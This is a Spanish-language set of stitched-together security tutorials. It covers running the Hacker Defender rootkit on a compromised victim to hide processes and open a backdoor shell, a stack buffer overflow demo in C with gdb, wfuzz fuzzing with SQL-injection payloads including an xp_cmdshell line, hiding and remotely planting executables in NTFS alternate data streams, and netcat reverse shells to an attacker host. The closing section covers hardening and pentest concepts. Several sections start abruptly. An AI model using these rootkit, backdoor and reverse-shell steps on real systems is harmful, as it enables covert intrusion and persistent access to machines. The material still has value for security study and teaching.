A pesar de su nombre, no debemos confundirnos y pensar que un root kit es una aplicación diseñada para conseguir acceso como root en un sistema. Los root kits siempre son usados una vez que hemos conseguido el acceso (generalmente inmediatamente despues) con dos objetivos fundamentales:

1. Ocultar las huellas tanto del propio root kit como de cualquier otro malware que hayamos instalado en la máquina victima
2. Dejar preparada una puerta trasera a través de la cual facilitarnos el acceso a la máquina víctima en el futuro.

Existen varios tipos y clasificaciones de root kits, pero fundamentalmente podemos distinguirlos en dos grandes clases:

• Rootkits a nivel de aplicación
• Rootkits a nivel de kernel

Los root kits a nivel de aplicación se encargan de inyectar código malicioso en la capa de aplicación, reescribiendo de alguna manera el comportamiento por defecto de algunas aplicaciones de la máquina víctima. Por ejemplo se podría hacer que cada vez que se ejecutar el comando ps no mostrara determinados procesos.

Estos root kits de aplicación son relativamente fáciles de detectar, ya que los antivirus tienen almacenadas las firmas digitales de muchas aplicaciones, de manera que es fácil detectar aquellas aplicaciones que han mutado a causa del root kit, ya que su firma no coincide.

Por otra parte, los rootkits a nivel de kernel son más peligrosos, ya que trabajan a un nivel mucho más bajo que las aplicaciones, haciendo su detección más compleja. Este tipo de rootkis pueden trabajar directamente con librerías o módulos del sistema, y son generalmente los que permiten poner en marcha las puertas traseras que comentabamos antes.

A pesar de que hoy en día muchas compañias de antivirus incluyen herramientas de detección anti root kits, la detección y eliminación completa de este tipo de malware puede ser muy costosa en tiempo, ya que existen varias técnicas para hacer difcilmente detectables los procesos y servicios que componen el rootkit. A veces es posible que sea más fácil reinstalar los sistemas operativos de los equipos infectados que intentar limpiar todo rastro del root kit, hoy en día, con los sistemas de imágenes de instalaciones de SO, esta tarea es mucho más llevadera.

Uno de los más conocidos root kits es el llamado “hacker defender” creado por “the holy father”. Vamos a ver por encima como podríamos ejecutarlo en una máquina a la que ya hubieramos ganado acceso para ocultar el troyano y a la vez preparar una puerta trasera.

Hacker Defender.

Lo primero es bajarnos google defender, podemos hacerlo desde la página:

http://www.rootkit.com/board_project_fused.php?did=proj5

Una vez descomprimido, vemos que hay varios archivos. Hacker defender permite hacer diversas operaciones relacionadas con la ocultación de información y la apertura de backdoors, y por esa razón sus opciones de configuración son muchas y muy variadas. Aquí tan sólo vamos a comentar su operativa por defecto.

Centremonos en tres archivos:

• hxdef100.ini
• hxdef100.exe
• bdcli100.exe

El fichero hxdef100.ini es el que tiene la configuración que queremos que utilice el hackerdefender. El archivo se compone de varias secciones, las cuales están documentadas en el archivo readmeen.txt. Veamos las más importantes.

[Hidden Table]

hxdef*

rcmd.exe

Los archivos definidos en esta tabla serán ocultos por el rootkit. En este caso, ningún archivo que comience por hxdef, y el ejecutable rcmd.exe (una shell de root que utiliza el hacker).

[Hidden Processes]

hxdef*

rcmd.exe

En este caso, también ocultará los procesos cuyo nombre coincida con las entradas de esta tabla. Observad que está permitido el uso de comodines. Así pues, los procesos del propio hacker defender, así como el proceso de la shell de root serán invisibles a cualquier usuario de la máquina infectada.

[Root Processes]

hxdef*

rcmd.exe

Dado que el root kit ocultará la información a cualquier usuario (incluido el hacker) es necesario definir aquellos procesos que serán una excepción para el hacker defender. En este caso, además de los procesos del propio root kit, la consola rcmd.exe será “inmune” a todas las ocultaciones que vamos a realizar.

[Settings]

Password=hxdef-rulez

BackdoorShell=hxdefß$.exe

En esta parte se definen varios valores que controlan la configuración del hacker defender. Es importante anotar el password y el nombre del proceso que se lanzará.

De momento esto es suficiente para seguir realizando nuestro test, aunque hay muchas más cosas interesantes que definir en el archivo de configuración (como ocultar determinadas claves de registro o servicios)

Para probar el funcionamiento del hacker defender, vamos a realizar una prueba sencilla, que está basada en un vídeo muy simple (pero ilustrativo) que demuestra como funciona el hacker defender. Podéis ver el vídeo en:

http://www.wonderhowto.com/how-to/video/how-to-use-the-hacker-defender-rootkit-or-hackdef-263022/

Describo brevemente los pasos a modo de resumen

Necesitaremos dos máquinas, en este caso funcionamos con dos windows XP.

La máquina A será la máquina del hacker, controlada por él.

La máquina B será la víctima, a la cual el hacker ya ha conseguido acceso.

Necesitaremos que la máquina B sea accesible a través de algún puerto (HFS, puerto 80 puede valer).

Ejecutamos el archivo hxdef100.exe en la victima. Al hacer esto estamos dando por supuesto que usamos el archivo de configuración por defecto.

Una vez hecho esto, se puede observar como automáticamente se ocultan todos los archivos y procesos que están definidos en el archivo .ini, con lo que se consigue el primer objetivo, hacer invisible el rootkit.

Para comprobar el funcionamiento del backdoor, nos iremos a nuestra máquina A, y ejecutaremos el archivo bdcli100.exe, lo cual nos pedirá un host, (IP de la máquina B) un puerto (el 80) y un password (el definido en la parte settings del archivo de configuración).

Si todo ha ido bien, tendremos una bonita shell de root en la máquina A contra la máquina B, que además no se ve afectada por los procesos de ocultación, con lo que podríamos por ejemplo, desinstalar el root kit de manera silenciosa una vez hubieramos avisado al responsable de la máquina A de cómo hemos ganado acceso a su sistema para que pueda ser arreglado

O tambíen podriamos desinstalar el troyano menos sutilmente formateando el disco duro >)

Vamos a realizar una prueba de concepto con un programa desarrollado por nosotros mismos y mediante el debug de nuestro programa realizaremos el Buffer Overflow.

Para comenzar habrá que bajarse desde internet CgyWin e instalarlo en un equipos Windows:

Vamos a crear un programa básico en C que contenga un par de variables y que nos permita introducir texto en las mismas.
Los procesos de carga de dichas variables difieren dependiendo del tipo de programa, nosotros lo vamos a programar para que lo realice por la entrada estandar del teclado.

Creamos un fichero llamado 001.c con las siguientes líneas:

#include <stdio.h>

int main()
{
char apellido[25];
char nombre[25];

printf(“introduce tu nombre: “);
scanf(“%s”, nombre);
printf(“introduce tu apellido: “);
scanf(“%s”, apellido);
printf(“Nombre: %s, Apellido: %s!!\n”, nombre, apellido);
return 0;
}

compilar el código con:
#gcc -ggdb -o 001.exe 001.c

Escribir 44 caracteres,…. ya que a partir del caracter 45 vamos a sobreescribir el punto de retorno del programa con una nueva dirección.

Posteriormente depurar el programa con GDB:

#gdb 001.exe

Algunos de los comandos del debug gdb que nos serán utiles para esta prueba de contepto:

“list” : 10 primeras lineas de codigo.
“run” o “r” : Ejecuta el programa.
“break main“: Establece un punto de ruptura en la funcion main()
“step” o “s” : Avanza una linea.
“continue” : Continua la ejecutión del programa.
“display nombre” : Visualiza variable nombre.
“info locals” : Visualiza las variables locales.

“info registers“: Visualiza el estado de los registros del procesador.
el registro ebp almacena la direccion de retorno de la función.
“disassemble main“: Desensambla el main (funcion principal).
“x/100“: Visualiza cien posiciones de memoria

Ahora escribiremos:
#x/100 0x22cba8: Visualiza el contenido de memoria desde la 0x22cba8 (observar que restamos 0×100 bytes al punto de retorno del programa almacenado en el registro ebp para ver el código previo).

Si desensamblamos main tendremos:

Dump of assembler code for function main:

0x00401050 <main+0>:    push   %ebp   <- direccion inicio del programa
0x00401051 <main+1>:    mov    %esp,%ebp
0x00401053 <main+3>:    sub    $0x68,%esp
0x00401056 <main+6>:    and    $0xfffffff0,%esp
0x00401059 <main+9>:    mov    $0x0,%eax
0x0040105e <main+14>:   add    $0xf,%eax
0x00401061 <main+17>:   add    $0xf,%eax
0x00401064 <main+20>:   shr    $0x4,%eax
0x00401067 <main+23>:   shl    $0x4,%eax
0x0040106a <main+26>:   mov    %eax,-0x4c(%ebp)
0x0040106d <main+29>:   mov    -0x4c(%ebp),%eax
0x00401070 <main+32>:   call   0x4010dc <_alloca>
0x00401075 <main+37>:   call   0x40116c <__main>
0x0040107a <main+42>:   movl   $0x402000,(%esp)
0x00401081 <main+49>:   call   0x40118c <printf>
0x00401086 <main+54>:   lea    -0x48(%ebp),%eax
0x00401089 <main+57>:   mov    %eax,0x4(%esp)
0x0040108d <main+61>:   movl   $0x402016,(%esp)
0x00401094 <main+68>:   call   0x40117c <scanf>
0x00401099 <main+73>:   movl   $0x402019,(%esp)
0x004010a0 <main+80>:   call   0x40118c <printf>
0x004010a5 <main+85>:   lea    -0x28(%ebp),%eax
0x004010a8 <main+88>:   mov    %eax,0x4(%esp)
0x004010ac <main+92>:   movl   $0x402016,(%esp)
0x004010b3 <main+99>:   call   0x40117c <scanf>
0x004010b8 <main+104>:  lea    -0x28(%ebp),%eax
0x004010bb <main+107>:  mov    %eax,0x8(%esp)
0x004010bf <main+111>:  lea    -0x48(%ebp),%eax
0x004010c2 <main+114>:  mov    %eax,0x4(%esp)
0x004010c6 <main+118>:  movl   $0x402031,(%esp)
0x004010cd <main+125>:  call   0x40118c <printf>
0x004010d2 <main+130>:  mov    $0x0,%eax
0x004010d7 <main+135>:  leave
0x004010d8 <main+136>:  ret

Probamos a escribir caracteres en el apellido hasta que el programa falle.
Veremos que falla cuando escribimos de apellido con 45 caracteres, luego el caracter 45 sobrescribe el primer valor del registro ebp (retorno de memoria).

Ejecutamos el programa y escribimos en apellido con 44 caracteres,… despues escribiremos directamente el siguiente exto, correspondiente con la nueva dirección en ASCII:

La direccion de inicio del programa (0×00401050)
En ASCII tenemos:
P: 0×50
ALT+16: 0×10 [16 en decimal]
@: 0×40
Enter: 0×00 o NULL lo almacena como fin de cadena ASCII en C.

Escribiremos despues de los 44 caracters “P+[ALT+16]+@” : 0×00401050

El resultado será que se ejecuta el programa desde el principio:

(gdb) run
Starting program: /home/Administrador/001.exe
[New thread 2404.0xd68]
[New thread 2404.0x7c]
introduce tu nombre: nombre

leave
0x004010d8 <main+136>:

introduce tu apellido: 12345678901234567890123456789012345678901234P►@
Nombre: nombre, Apellido: 12345678901234567890123456789012345678901234P►@!!
introduce tu nombre:  <- El programa regresa al inicio y pregunta de nuevo “introduce tu nombre”

El programa se corromperá a continuación del scanf ya que la recupera erronemente de la pila el siguiente ebp, esto es facilmente evitable pero no es el fin de este tutorial.
Comentar que la versión de GCC 4 tiene por defecto habilitada la protección similar a la del “canario” contra los metodos de overflow que he explicado en este tutorial.

En resumen, los Fuzzers son herramientas automáticas que realizan pruebas secuenciales de datos seudo-aleatorios (basados muchos de ellos en diccionarios de palabras) contra aplicaciones (tanto de cliente como servidor).
Los Fuzzers son a nivel de aplicación, no de sistemas y cubren detecciones de vulnerabilidades frente a inyecciones SQL, descubrimiento de directorios ocultos, validaciones por fuerza bruta, etc….

Existen diferentes aplicaciones del concepto de Fuzzing,…. así mismo los hay que lanzan automáticamente el navegador y prueban peticiones validas del navegador con generadores de peticiones de forma que detectan la posible vulnerabilidad del navegador, dichas vulnerabilidades, algunas pueden ser de ‘zero day’, pueden ser empleadas en creación de troyanos o gusanos que la empleen para infectar nuestros sistemas.

Aunque como os comento existen multitud de Fuzzers os voy a presentar uno de los más conocidos:

“Se llama wfuzz y es un web fuzzer, vamos, una tool para bruteforcear el protocolo HTTP, ya sea para hacer pruebas de path discovery (recursivas) o bien para bruteforcear variables, ya sean pasadas por GET o POST, headers…”

Básicamente emplea diccionarios (incluidos en la descarga) para sustituir el parámetro “FUZZ” lo pongamos donde lo pongamos por las palabras del diccionario (en el caso de las inyecciones SQL el diccionario está ya preparado con los patrones SQL más empleados y efectivos por ejemplo). Dependiendo de la prueba que estemos haciendo emplearemos un diccionario u otro.

Wfuzz

La dirección de descarga es la siguiente:

Linux: http://www.edge-security.com/soft/wfuzz-1.4.tar.gz
Windows: http://www.edge-security.com/soft/wfuzz-1.4b-win.tar.gz

Los diccionarios más empleados disponibles en la descarga son los siguientes:

· big.txt: con un diccionario de palabras del tipo “admin”, “prueba”, etc…
· SQL.txt: con diccionario de inyecciones SQL. Algunos ejemplos del diccionario:
‘ or 1=1 or ”=’
t’exec master..xp_cmdshell ‘nslookup www.google.com’–
char%4039%41%2b%40SELECT
· XML.txt, XSL.txt y el propio SQL.txt están incluidos en uno más global llamado All_attack.txt (sobran las explicaciones).

Vamos a comenzar con la sintaxis para el descubrimiento básico de directorios ocultos en portales web (path discovery):
Supongamos que deseamos analizar nuestra portal cuya dirección es “www.paginaweb.com” y más concretamente todo lo que cuelgue de “www.paginaweb.com/es”

#./wfuzz.py -c -z file -f wordlists/big.txt –hc 404 http://www.paginaweb.com/es/FUZZ

Como respuesta tendremos el listado de directorios cuya respuesta sea diferente al error http 404 (es decir, existe se deniegue o no el acceso).
por ejemplo:

Total requests: 3037
===========================================================
ID    Response   Lines      Word     Request
===========================================================

00014:  C=200    182 L         732 W     “/”
00754:  C=200      1 L          10 W     “css”
01023:  C=200      1 L          10 W     “img”
01276:  C=301      1 L          10 W     “scripts”
01597:  C=200      1 L          10 W     “admin”

Si salieran directorios interesantes podemos añadir un parámetro adicional para hacer el test recursivo con un nivel de profundidad en el arbol de directorios encontrados:

#./wfuzz.py -c -z file -f wordlists/big.txt -R 1 –hc 404 http://www.paginaweb.com/es/FUZZ

[...]
————— Recursion level 1 ——————-

===========================================================
ID    Response   Lines      Word     Request
===========================================================
03197:  C=301      1 L          10 W     “admin/jaime”
05782:  C=301      1 L          10 W     “admin/oficinas”
06283:  C=301      1 L          10 W     “admin/root”
[...]

Tambien podemos realizar pruebas tests con inyecciones en parametros GET:

#./wfuzz.py -c -z file -f wordlists/big.txt –hc 404 “id=1&catalogue=FUZZ” http://www.mysite.com/check.asp

Añadiendo simplemente “-d” en la sintaxis de la prueba enviará los parametros de la inyección por POST.

#./wfuzz.py -c -z file -f wordlists/big.txt –hc 404 -d “id=1&catalogue=FUZZ” http://www.mysite.com/check.asp

Solo deciros que existen una cantidad importante de páginas web con directorios sin autenticación mostrando información “sensible”, por no decir de los que dan acceso a administraciones tanto de contenidos como de bases de datos,… etc.

Para incluir el texto “prueba” como metadato del fichero hola.txt:
#echo prueba > hola.txt:datosocultos

Para ver el texto antes introducido como metadato (datosocultos)
#more < hola.txt:datosocultos

Para incluir un fichero (por ejemplo de ayuda de Windows) como metadato de un hola.txt de 22bytes por ejemplo:
#type libro.chm > hola.txt:libro.chm
(el fichero libro.chm puede pesar p. ejemplo 2GB y cuando se copie de disco a disco veremos como tarda “sospechosamente”,… esto es por que copia tambien los metadatos que lleva adjuntos (ADS).

Lanzar el libro.chm
#start .\hola.txt:libro.chm

Así mismo existen posibles metodos para “infectar” remotamente ficheros con metadatos:
Infecciones en red utilizando (ADS):
#type svchost.exe > \\192.168.3.100\datos:svchost.exe (\datos es una carpeta con permiso de escritura)

Como vemos en el ejemplo anterior se ha anexado como metadato un fichero llamado svchost.exe que puede a su vez ser ejecutado mediante el comando anterior ‘start’.

Utilidades para ver los metadatos:
#lads  (http://www.heysoft.de)

Existen, para terminar, programas como WinRar que permite ser configurado para comprimir los ficheros con esos mismos metadatos,… así mismo tambien permite la generación de un ejecutable con un iniciador automático con ocultación de los ficheros comprimidos,…. vamos todo un Framework de edición de virus si se sabe mezclar adecuadamente los ADS con este tipo de herramientas (aunque parezcan unos simple compresores).

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.

Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta.

Introducción

Básicamente netcat realiza lo siguiente:

Crea una conexión de red (socket) entre dos equipos
Una vez establecida la conexión se puede emplear el canal para transferir Shells remotos, ficheros, etc.

Sintaxis básica
Como cliente: nc [-opciones] host puerto
Como servidor: nc -l -p puerto [-opciones] [host]

Parámetros básicos

-c shell comandos similar a parametro `-e’
-e fichero programa para ejecutar despues de establecer la conexión
-k set keepalive option on socket
-l modo “listen”, para conexiones entrantes
-n solo direcciones ip, sin resolución de nombres
-o file volcado hexadecimal del tráfico
-p port puerto local a utilizar
-r puerto local aleatorio
-q secs pausar y salir despues de unos segundos tras recibir una señal de EOF
-s addr direccion local de origen
-T tos configura el “Type Of Service”
-t responder a la negociación TELNET
-u modo UDP
-v modo verbose [usar -vv para mayor verbose]
-w secs timeout para las conexiones y finalizar las escuchas de red
-z modo zero-I/O [utilizado para técnicas de scanning]

Ejemplos de uso:

Transferrencia de ficheros
Receptor de fichero:

  #nc -l -p 2000 > fichero.recibido

Emisor del fichero:

  #nc localhost 2000 < fichero

Servidor de ECHO

  #nc -l -p 2000 -e /bin/cat

Servidor de DAYTIME

  #nc -l -p 2000 -e /bin/date

Shell BASH remota

 #nc -l -p 2000 -e /bin/bash

Shells inversos (Técnica empleada por Hackers)

Servidor Linux atacado:

 #nc -e /bin/bash -p hacker.dyndns.org 44444

Servidor Windows atacado:

 #nc -d -e cmd.exe hacker.dyndns.org -p 44444

Cliente (equipo del hacker):

 #nc -l -p 44444

Servidor HTTP (monohilo)

 #nc -l -p http -c “cat index.html”

Streaming AUDIO
Servidor:

 #cat *.mp3 | nc -l -p 2000

Cliente:

  #nc server.example.org 2000 | madplay –

Streaming VIDEO
Servidor:

  #nc -l -p 2000 < pelicula.avi

Cliente:

  #nc server.example.org 2000 | mplayer –

Clonar un disco remotamente:
Servidor:

  #dd if=/dev/sda1 | nc -l -p 2000

Cliente:

  #nc server.example.org 2000 | dd of=pendrive.dump
  #mount pendrive.dump -r -t vfat -o loop /mnt/usb

• Proceso a priori automatizable
• Dependiente del Rol
• Aplicación de tres principios:

1. Mínimo Punto de Exposición
2. Mínimo Privilegio Posible
3. Defensa en Profundidad

Tipos de defensas:

• Datos: ACL, cifrado, logging
• Aplicación: Fortificación de aplicaciones, antivirus
• Servidor: Firewall, Antimalware, HIDS, …
• Red Interna: Segmentación, IPSec, IDSs
• Perímetro: Firewalls, VPN, NAP, 802.1x

Políticas, procedimientos, concienciación:
Guardas, cerraduras, sistemas de vigilancia,
Formación de usuarios.

Herramientas

Microsoft

• Security & Configuration Analysis para Windows Server 2003
• Security Configuration Wizzard para 2003 SP1 & Windows Server 2003 R2
• Role Configuration para Windows Server 2008
• Core Version para Windows Server 2008

Linux

• Bastille
• SELinux
• Inmunix
• GrSecurity

Específicos de productos

• IIS Lockdown
• Módulos apache

Test de Intrusión (Penetration Test)

• El objetivo es encontrar fallos de seguridad en un sistema
• Se busca conocer el “riesgo” en que se encuentra un sistema
• No es una auditoría completa
• No se buscan todos los fallos
• Se busca detectar tendencias

Aspectos importantes antes de empezar

• Nivel Friendly
• Punto de ejecución
• Franjas de tiempo
• Objetivos/Activos

• El software Fiable es aquel que hace lo que se supone que debe hacer.
• El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.

Son los sorprendentes “algo mas” los que producen inseguridad.

• Para estar seguro, se debe ejecutar sólo software perfecto
• …o, hacer algo para mitigar ese “algo mas”

Bug
Tambien nos tiene que quedar claro a que se le llama un Bug.
La wikipedia nos dice que un error de software o computer bug, que significa bicho de computadora, es el resultado de un fallo de programación introducido en el proceso de creación de programas de computadora. El término bug fue acreditado erróneamente a Grace Murray Hopper, una pionera en la historia de la computación, pero Thomas Edison ya lo empleaba en sus trabajos para describir defectos en sistemas mecánicos por el año 1870.

Exploit
Los exploit (viene de to exploit – aprovechar) es todo código escrito con el fin de aprovechar un error de programación para obtener diversos privilegios. software.
Un buen número de exploits tienen su origen en un conjunto de fallos similares. Algunos de los grupos de vulnerabilidades más conocidos son:

• Vulnerabilidades de desbordamiento de pila o buffer overflow.
• Vulnerabilidades de condición de carrera (Race condition).
• Vulnerabilidades de error de formato de cadena (format string bugs).
• Vulnerabilidades de Cross Site Scripting (XSS).
• Vulnerabilidades de inyección SQL (SQL injection).
• Vulnerabilidades de inyeccion de caraceres (CRLF).

Tambien ha de dejar claro que NADIE, repito, NADIE se queda a salvo de que le hackeen su página web, ni las grandes corporaciones.
Lás páginas de los partidos politicos lideres en este momento como son la del PSOE y la del PP han sido hackeadas, algunas de Microsoft tambien (experts.microsoft, ieak.microsoft.com, …), las de diferentes ministerios (vivienda, etc…), real madrid, proveedores como Jazztel, etc…

Servicios de Seguridad
a continuación se reflejan algunos de los servicios relacionados con la seguridad informática:

• Fortificación de sistemas
• Test de Intrusión
• Auditoría Informática

Tipos:

• Caja Blanca
• Caja Negra

Puntos de ejecución

• Otros:

Formación, Concienciación, Conocimiento…